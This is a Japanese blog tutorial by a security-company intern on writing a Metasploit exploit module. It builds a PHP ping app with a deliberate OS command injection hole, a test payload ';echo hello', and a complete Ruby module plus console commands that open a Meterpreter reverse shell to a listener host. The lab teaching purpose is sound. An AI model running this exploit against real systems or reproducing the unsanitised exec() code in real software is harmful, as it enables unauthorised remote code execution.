NFLabs. エンジニアブログ

セキュリティやソフトウェア開発に関する情報を発信する技術者向けのブログです。

Metasploitのモジュールを開発してみた

はじめに

こんにちは。株式会社エヌ・エフ・ラボラトリーズ 学生インターンの田島です。

弊社では研究開発にてサイバー攻撃シミュレーションプラットフォームを開発していますが、現在このプラットフォームで使用されている攻撃シナリオをMetasploitで自動的に実行できるようにしています。

それに関連して、今回はMetasploitのモジュール開発の方法について解説をしたいと思います。

Metasploitの概要

Metasploitはペネトレーションテストのフレームワークです。Metasploit Frameworkの略でMetasploitがしばしば使われます。

オープンソースのプロジェクトでKali Linuxなどでは標準でインストールされており、脆弱性の検証でこのツールが用いられることが多いでしょう。

基本的な使われかた

Metasploitを用いた脆弱性の検証は主に モジュール を介して行われます。

そしてそのモジュールは MSFConsole という インターフェイスにて操作することができます。

よく使用されるモジュールタイプ

  • Exploits: ペイロードを使用しシステムにアクセスできるようにする

  • Auxiliary: ターゲットのシステムの情報収集など

  • Payloads: ターゲットのシステムで実行されるコード

  • Encoders: ペイロードを暗号化しウイルス対策などを回避する

  • Post: システムにアクセス後そのシステムに関する詳細情報を収集する

Metasploitのモジュールは既知の脆弱性にも幅広く対応しているため、大抵のことであれば MSFConsole や Exploit-DB から検索することで用途に合ったモジュールを見つけ、使用することができます。

しかしながら独自のシステムであったり特定の操作が必要になるなど モジュールとして実装されていない脆弱性 となれば、それらを検証する一連の操作を自動的に行うために自分でモジュールを作成または拡張する必要があります。

モジュールの開発

今回は以下のような脆弱性のあるアプリケーションを例として、Exploitsモジュールの開発を行います。

対象

ターゲットとしてOSコマンドインジェクションの脆弱性を含むWebアプリケーションを作成します。

Dockerfile

FROM php:7.2-apache
RUN apt update
RUN apt install iputils-ping net-tools -y

docker-compose.yml

version: '3'
services:
  php-apache:
    build: .
    ports:
      - "8080:80"
    volumes:
      - ./src:/var/www/html

src/index.php

<body>
<form action="index.php" method="post"> 
  Domain or IP: <input type="text" name="ip"> <br>
  <input type="submit" value="Submit">
</form>
<?php
$ip = isset($_POST['ip']) ? $_POST['ip'] : "";
exec("ping -c 1 -W 5 $ip", $out, $result);
if($result){
  echo 'Failed';
}else{
  echo 'Success: ';
  echo $out[0];
}
?>
</body>

起動させると次のような画面が開きます。

試しに example.com を入力してみます。

pingコマンドの実行結果が返ってきました。

次に、OSコマンドインジェクションの脆弱性を悪用する以下のようなペイロードを入力し、脆弱性が存在するか確認してみます。

;echo hello

入力するとhelloが返ってきました。

モジュールを作成する

先ほどのWebアプリケーションの脆弱性を利用してMeterpreterのセッションを張るようなモジュールを作成してみましょう。

早速ですが、次のようなコードになります。

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
       # Name: モジュールの名前 [ベンダー] [ソフトウェア] [バグ発見箇所] [脆弱性の種類] のような書き方が推奨されている
        'Name' => 'Ping app - Remote Code Execution (Reverse Shell)',
        # Description: モジュール自体の説明
        'Description' => %q(
          Establish a reverse shell via remote code execution
        ),
          'License' => MSF_LICENSE,
          # Author: モジュールの作者名、または組織名
          'Author' => ['tamagrm'],
          # References: モジュールに関する情報源へのリンクやCVEといった脆弱性識別子
          'References' => [],
          # DefaultOptions: デフォルトのオプション値を設定する
          'DefaultOptions' =>
        {
          'encoder' => 'php/base64',
          'payload' => 'php/meterpreter/reverse_tcp',
        },
        # Privileged: モジュールが高い特権を必要とするか
        'Privileged' => false,
        # Platform: どのプラットフォームをサポートしているか
        'Platform' => ['php'],
        # Arch: どのアーキテクチャをサポートしているか
        'Arch' => [ARCH_PHP],
        # Targets: exploitの対象となるシステムやアプリケーション
        'Targets' => [['Wildcard Target', {}]],
        # DefaultTarget: Targetsで指定したものをデフォルトでどれを対象にするか
        'DefaultTarget' => 0\
      )
    )

    register_advanced_options(
      [
        OptBool.new(
          "ExitOnSession",
          [true, "Return from the exploit after a session has been created", true]
        ),
        OptInt.new(
          "ListenerTimeout",
          [false, "The maximum number of seconds to wait for new sessions", 0]
        ),
      ]
    )
  end

  def exploit
    if datastore['DisablePayloadHandler']
      print_error "DisablePayloadHandler is enabled, so there is nothing to do. Exiting!"
      return
    end
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('index.php'),
      'vars_post' =>
      {
        'ip' => ";php -r '#{payload.encoded}'",
      }
    })

    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if session_created? && datastore['ExitOnSession']
      break if timeout > 0 && (stime + timeout < Time.now.to_f)
      Rex::ThreadSafe.sleep(1)
    end
  end
end

MetasploitのモジュールはPythonやGoでも記述が可能ですが、多くはRubyで書かれています1

このコードを上から順に見ていきます。

継承元は作成するモジュールのタイプによって異なり、Exploitであれば Msf::Exploit::Remote 、Auxiliaryであれば Msf::Auxiliary のようになります。

Exploitモジュールには Rank という信頼性の指標がありますが、サービスをクラッシュさせるつもりはないので、ExcellentRankingとしています。詳細はこちら

initialize() ではそのモジュールに関する情報とモジュール使用時に設定できるオプションを定義することができます。

TargetsDefaultTarget の設定をしていなかったり、 payloadPlatform・Arch が一致していないとExploitモジュールのペイロードがうまく動作しないので注意が必要です。

register_advanced_options() ではモジュールを使用する際に指定できるオプションを登録しています。

オプションの登録は register_options() でも可能ですが、その場合はMSFConsole上で options と叩くとModule optionsに表示され、 register_advanced_options() では advanced と叩くことでModule advanced optionsに表示されます。

今回はテンプレートに倣ってadvancedの方を使っています。

exploit() では実際にエクスプロイトが開始され、主にオプションで指定した値を datastore[] で読み込みつつ、すでに生成されているペイロードを対象のシステムに投げています。

send_request_cgi() はHTTPでのリクエストの送信やレスポンスが読み取れるため、Webアプリケーションを対象とした脆弱性の検証に役立ちます。

作成したモジュールについてざっと説明しました。

より詳しくExploitモジュールの構造を知りたい方は以下からご確認ください。

Writing an exploit

作成したモジュールを使う

MSFConsoleで読み込み・実行することで、Webアプリケーションの脆弱性を利用してMeterpreterのセッションが張れるかを試します。

まず、作成したモジュールは ~/.msf4/modules/ より下の階層に配置します。

~/.msf4/modules/exploits/linux/http/ping_app_rce.rb

~/.msf4/modules/ はカスタムモジュールを配置する場所で、プライマリモジュールが存在する /usr/share/metasploit-framework/modules/ とは違い、はじめは何もない状態かと思われます。

配置した後は MSFConsole を再起動もしくは reload_all を叩き、再度モジュールを読み込ませます。

すると次のように選択できるようになります。

各オプションをセットし実行します。

set rhosts 127.0.0.1
set rport 8080
set lhost 10.211.55.4
exploit

Meterpreterのセッションが張れることを確認しました。

おわりに

今回はMetasploitのモジュール開発の方法について紹介しました。

ターゲットが小さなWebアプリケーションだったので、認証情報などを保存するようなCREDSやLOOTといったMetasploitの機能を網羅的に説明できていませんが、基本的なExploitモジュール作成の流れを掴めたかと思います。

Metasploitモジュールの開発に関する日本語の情報は現在少ないため、この記事がご参考になれば幸いです。

注釈